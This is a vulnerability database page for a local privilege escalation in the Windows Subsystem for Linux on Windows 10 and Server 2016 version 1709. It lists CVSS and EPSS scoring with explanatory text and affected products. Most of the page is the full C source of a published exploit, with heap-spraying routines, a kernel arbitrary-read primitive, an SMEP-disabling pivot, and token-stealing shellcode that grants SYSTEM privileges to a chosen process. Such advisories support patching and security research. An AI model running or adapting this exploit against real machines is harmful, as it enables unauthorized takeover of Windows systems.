Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE Other |
No informations. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
7 |
HIGH |
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
4.4 |
|
AV:L/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 43962
Publication date : 2018-02-01 23h00 +00:00
Author : Saar Amar
EDB Verified : Yes
#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#define RING_SIZE 0x2000000
#define PIPE_SIZE 0xb8
#define PTR_SIZE 0x8
#define STR_HDR_SIZE 0x18
#define LEAK_OFFSET 0x68
#define SHELLCODE_OFFSET 0x200
#define CHUNK_LVXF_OFFSET 0x138f4296
#define CR4_VAL_ADDR 0x506f8
#define MAGIC_KEY 0xefef
#define NT_OFFSET_TO_PIVOT 0x288005
size_t curr_key = 0;
char SHELLCODE[] = {
//0xcc,
0x90, // CLI
0x90, // PUSHFQ
0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RAX, Original Pointer
0x50, // PUSH RAX
0x51, // PUSH RCX
0x90, 0x90, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RCX, [OverwriteAddr+OverwriteOffset]
0x90, 0x90, 0x90, // MOV QWORD PTR [RCX], RAX
0xb9, 0xfc, 0x11, 0x00, 0x00, // MOV ECX, PID
0x53, // PUSH RBX
0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // MOV RAX,QWORD PTR gs:0x188
0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, // MOV RAX,QWORD PTR [RAX+0xb8] EPROCESS
0x48, 0x8d, 0x80, 0xe8, 0x02, 0x00, 0x00, // LEA RAX,[RAX+0xActiveProcessLinkOffset]
//<tag>
0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX]
0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-8] // UniqueProcessID
0x48, 0x83, 0xfb, 0x04, // CMP RBX,0x4
0x75, 0xf3, // JNE <tag>
0x48, 0x8b, 0x58, 0x70, // MOV RBX, QWORD PTR [RAX+0x70] // GET TOKEN of SYSTEM
0x90, 0x90, 0x90,
0x53, // PUSH RBX
//<tag2>
0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX]
0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-8] // UniqueProcessID
0x39, 0xcb, // CMP EBX, ECX // our PID
0x75, 0xf5, // JNE <tag2>
0x5b, // POP RBX
0x48, 0x89, 0x58, 0x70, // MOV QWORD PTR[RAX +0x70], RBX
0x90, 0x90, 0x90,
0x5b, // POP RBX
0x59, // POP RCX
0x58, // POP RAX
0x90, // POPFQ
0xc3 // RET
};
int calc_stop_idx(size_t alloc_size, size_t factor);
int get_size_factor(size_t spray_size, size_t *factor);
int trigger_corruption(int spray_size);
int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx);
int spray(size_t count);
int alloc_sem(size_t factor);
int free_sem(int key);
char *get_faked_shm();
void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid);
void trigger_shm(size_t shmid);
void print_shm(struct shmid_ds *buf);
void *absolute_read(void* obj, size_t shmid, void *addr);
int alloc_shm(size_t key);
int shape(size_t *spray_size);
int calc_stop_idx(size_t alloc_size, size_t factor) {
size_t totalStringsLength, headersLength;
totalStringsLength = (factor - 1) * 2 + 0xd001;
headersLength = (factor * STR_HDR_SIZE) % (0x100000000);
return (alloc_size + 496 + 0xc000) / STR_HDR_SIZE;
}
int get_size_factor(size_t spray_size, size_t *factor) {
if (spray_size != 0x2000000) {
printf("SPRAY_SIZE ISSUE\n");
exit(1);
}
*factor = 0xab13aff - 0x800*2;
return 0x15fffdfc;
}
int trigger_corruption(int spray_size) {
size_t factor = 0, alloc_size, stopIdx;
int ret;
alloc_size = get_size_factor(spray_size, &factor);
if (alloc_size < 0) {
printf("[*err*] unsupported spray_size == 0x%x", spray_size);
return -1;
}
stopIdx = calc_stop_idx(alloc_size, factor);
ret = call_LxpUtilReadUserStringSet(factor + 1, 1, 'O', stopIdx);
printf("[*] trigger_corruption() returned 0x%x\n", ret);
return 0;
}
int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx) {
char **argv, *innerBuf, *stopInnerBuf = NULL;
size_t pid;
argv = (char*)mmap(NULL, argc * sizeof(char*), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(!argv) {
perror("[*err*] malloc argv failed\n");
return -1;
}
innerBuf = (char*)malloc(innerSize);
if (!innerBuf) {
printf("[*err*] malloc innerBuf failed\n");
return -1;
}
memset(innerBuf, pattern, innerSize);
for(size_t i = 0; i < argc - 1; ++i) {
argv[i] = innerBuf;
}
argv[argc-1] = NULL;
pid = fork();
if (pid) {
// parent
if(stopIdx > 0) {
sleep(1.5);
printf("[*] set stopIdx, stopping wildcopy\n");
argv[stopIdx] = NULL;
}
return 0;
} else {
// son
argv[stopIdx - 1] = (char*)malloc(0xe000);
memset(argv[stopIdx - 1], "X", 0xd000-1);
argv[stopIdx - 1][0xd000-1] = '\0';
argv[stopIdx - 7] = (char*)malloc(0xe000);
memset(argv[stopIdx - 7], "X", 0xd000-1);
argv[stopIdx - 7][0xd000-1] = '\0';
// this execve is on nonsense "program", so it will return err.
// Just kill the thread.
execve(argv[0], argv, NULL);
exit(1);
}
}
/*
spray <count> chunks, and return number of total bytes allocated
*/
int spray(size_t count) {
int exec[2];
int pipe_capacity = 0, ret = 0;
for (size_t i = 0; i < count; ++i) {
if (pipe(exec) < 0) {
printf("[*err*] pipe\n");
ret = -1;
goto cleanup;
}
pipe_capacity = fcntl(exec[1], F_SETPIPE_SZ, RING_SIZE);
if(pipe_capacity < 0) {
printf("[*err*] fcntl return neg capacity\n");
ret = -1;
goto cleanup;
}
ret += pipe_capacity;
}
cleanup:
return ret;
}
/*
allocate 12 * v_nsems + 176
*/
int alloc_sem(size_t factor) {
int semid;
int nsems = factor;
semid = semget(curr_key++, nsems, IPC_CREAT | 0666);
if(semid == -1) {
printf("[*err*]semget failed, errno == 0x%x\n", errno);
return -1;
}
return semid;
}
int free_sem(int key) {
if(semctl(key, 0, IPC_RMID, 0) == -1) {
printf("[*err*] semctl failed, errno == 0x%x\n", errno);
return -1;
}
return 0;
}
char *get_faked_shm() {
size_t shellcode_length = 0;
char *obj = (char*)mmap(0xc000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0x0);
char *shellcode_ptr;
if (obj == (void*)-1) {
printf("[*err*] mmap failed\n");
return NULL;
}
char *cr4_addr = (char*)mmap(CR4_VAL_ADDR & ~0xfff, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0x0);
if (cr4_addr == (void*)-1) {
printf("[*err*] mmap failed\n");
return NULL;
}
memset(cr4_addr, 0x0, 0x10000);
printf("[*] mmap userspace addr %p, set faked shm object\n", obj);
obj += 0x1000;
shellcode_ptr = obj + 0x200;
initialize_fake_obj(obj, shellcode_ptr, NULL, 0x41414141, -1);
return obj;
}
void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid) {
size_t val = 0x4141414141414141, val2 = 7, val3 = CR4_VAL_ADDR;
char *obj2 = obj+0x1000;
memset(obj - 0x100, 0x0, 0x1000);
memcpy(obj, &read_addr, sizeof(size_t));
memcpy((obj+0x10), &val, sizeof(size_t));
memcpy(obj - 0x20, &val2, sizeof(size_t));
memcpy(obj - 0x68, &obj, sizeof(char*));
memcpy(obj + 0x28, &shellcode_ptr, sizeof(char*));
memcpy(obj - 0x80, &obj, sizeof(char*));
memcpy((obj + 0x40), &val, sizeof(size_t));
memcpy(CR4_VAL_ADDR + 0x10, &fake_shmid, sizeof(size_t));
memcpy(CR4_VAL_ADDR - 0x20, &val2, sizeof(size_t));
memcpy(CR4_VAL_ADDR - 0x80, &val3, sizeof(char*));
memcpy(CR4_VAL_ADDR - 0x68, &val3, sizeof(char*));
memcpy(CR4_VAL_ADDR + 0x28, &shellcode_ptr, sizeof(char*));
memcpy((CR4_VAL_ADDR + 0x40), &val, sizeof(size_t));
memcpy(CR4_VAL_ADDR + 0x18, &val2, sizeof(size_t)); // refcount
memcpy((CR4_VAL_ADDR + 0x50), &obj2, sizeof(size_t));
memcpy((CR4_VAL_ADDR + 0x90), &val3, sizeof(size_t));
memcpy(obj + SHELLCODE_OFFSET, SHELLCODE, sizeof(SHELLCODE));
memcpy(obj + SHELLCODE_OFFSET + 28, &pid, 4);
}
void trigger_shm(size_t shmid) {
char *data;
data = shmat(shmid, (void*)0, 0);
}
void print_shm(struct shmid_ds *buf) {
printf ("\nThe USER ID = %p\n", buf->shm_perm.uid);
printf ("The GROUP ID = %p\n", buf->shm_perm.gid);
printf ("The creator's ID = %p\n", buf->shm_perm.cuid);
printf ("The creator's group ID = %p\n", buf->shm_perm.cgid);
printf ("The operation permissions = 0%o\n", buf->shm_perm.mode);
printf ("The slot usage sequence\n");
//printf ("number = 0%x\n", buf->shm_perm.seq);
//printf ("The key= 0%x\n", buf->shm_perm.key);
printf ("The segment size = %p\n", buf->shm_segsz);
printf ("The pid of last shmop = %p\n", buf->shm_lpid);
printf ("The pid of creator = %p\n", buf->shm_cpid);
printf ("The current # attached = %p\n", buf->shm_nattch);
printf("The last shmat time = %p\n", buf->shm_atime);
printf("The last shmdt time = %p\n", buf->shm_dtime);
printf("The last change time = %p\n", buf->shm_ctime);
}
void *absolute_read(void* obj, size_t shmid, void *addr) {
struct shmid_ds shm;
initialize_fake_obj(obj, obj + SHELLCODE_OFFSET, addr, shmid, -1);
shmctl(shmid, IPC_STAT, &shm);
return (void*)shm.shm_ctime;
}
int alloc_shm(size_t key) {
int shmid;
shmid = shmget(key, 1024, 0644 | IPC_CREAT);
return shmid;
}
int shape(size_t *spray_size) {
size_t keys[0x400];
int exec[2];
int sv[2];
char flag;
size_t bytes = 0, tofree = 0;
size_t factor,hole_size;
struct flock fl;
memset(&fl, 0, sizeof(fl));
pid_t pid, wpid;
int status;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1) {
printf("[*err] socketpair failed\n");
return 1;
}
bytes = spray(1);
if (bytes == (size_t)-1) {
printf("[*err*] bytes < 0, are you root?\n");
return 1;
}
*spray_size = bytes;
hole_size = get_size_factor(*spray_size, &factor);
tofree = hole_size / (bytes / 1) + 1;
printf("[*] allocate holes before the workspace\n");
for (int i = 0; i < 0x400; ++i) {
keys[i] = alloc_sem(0x7000);
}
for (int i = 0; i < 0x20; ++i) {
alloc_sem(0x7000);
}
for (int i = 0; i < 0x2000; ++i) {
alloc_sem(4063);
}
for (int i = 0; i < 0x2000; ++i) {
alloc_sem(3);
}
pid = fork();
if (pid > 0) {
printf("[*] alloc 0xc pages groups, adjust to continuous allocations\n");
bytes = spray(5);
write(sv[1], "p", 1);
read(sv[1], &flag, 1);
} else {
// son
read(sv[0], &flag, 1);
printf("[*] alloc workspace pages\n");
bytes = spray(tofree);
printf("[*] finish allocate workspace allocations\n");
write(sv[0], "p", 1);
}
if (pid > 0) {
printf("[*] allocating (0xc - shm | shm) AFTER the workspace\n");
for (int i = 0; i < 0x100; ++i) {
alloc_sem(4061);
for (int j = 0; j < 0x5; ++j) {
alloc_shm(i * 0x100 + j);
}
}
write(sv[1], "p", 1);
} else {
read(sv[0], &flag, 1);
printf("[*] free middle allocation, creating workspace freed\n");
exit(1);
}
while ((wpid = wait(&status)) > 0);
printf("[*] free prepared holes, create little pages holes before the workspace\n");
for (int i = 0; i < 0x400; ++i) {
free_sem(keys[i]);
}
return 0;
}
int main(int argc, char **argv) {
size_t spray_size = 0;
char *obj;
void *paged_pool_addr, *file_obj, *lxcore_addr, *nt_c_specific_handler;
void *nt_addr;
obj = get_faked_shm();
printf("[*] start shaping\n");
if (shape(&spray_size)) {
printf("[*err*] shape failed, exit\n");
return 1;
}
// if there is some shm with shmid==0, delete it
shmctl(0, IPC_RMID, NULL);
printf("[*] shape is done\n");
if (trigger_corruption(spray_size) < 0) {
printf("[*err*] internal error\n");
return 1;
}
sleep(8);
printf("[*] leak shm, with the corrupted shmid\n");
paged_pool_addr = absolute_read(obj, 1, NULL);
printf("[*] infoleak - PagedPool addr at %p\n", paged_pool_addr);
file_obj = absolute_read(obj, 0xffff, paged_pool_addr + CHUNK_LVXF_OFFSET - LEAK_OFFSET);
printf("[*] infoleak - fileObj addr at %p\n", file_obj);
lxcore_addr = absolute_read(obj, 0, file_obj - 0x68 - LEAK_OFFSET);
printf("[*] infoleak - lxcore!LxpSharedSectionFileType addr at %p\n", lxcore_addr);
nt_c_specific_handler = absolute_read(obj, 0, lxcore_addr + 0x8b90 - LEAK_OFFSET);
printf("[*] infoleak - nt!_C_specific_handler addr at %p\n", nt_c_specific_handler);
printf("[*] call nt pivot, disable SMEP\n");
initialize_fake_obj(obj, nt_c_specific_handler + NT_OFFSET_TO_PIVOT, CR4_VAL_ADDR, MAGIC_KEY, -1);
trigger_shm(MAGIC_KEY);
sleep(5);
printf("[*] jump to shellcode!\n");
initialize_fake_obj(obj, obj+0x200, CR4_VAL_ADDR, MAGIC_KEY, atoi(argv[1]));
trigger_shm(MAGIC_KEY);
sleep(2);
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_10 >> Version 1709
Microsoft>>Windows_server_2016 >> Version 1709
References
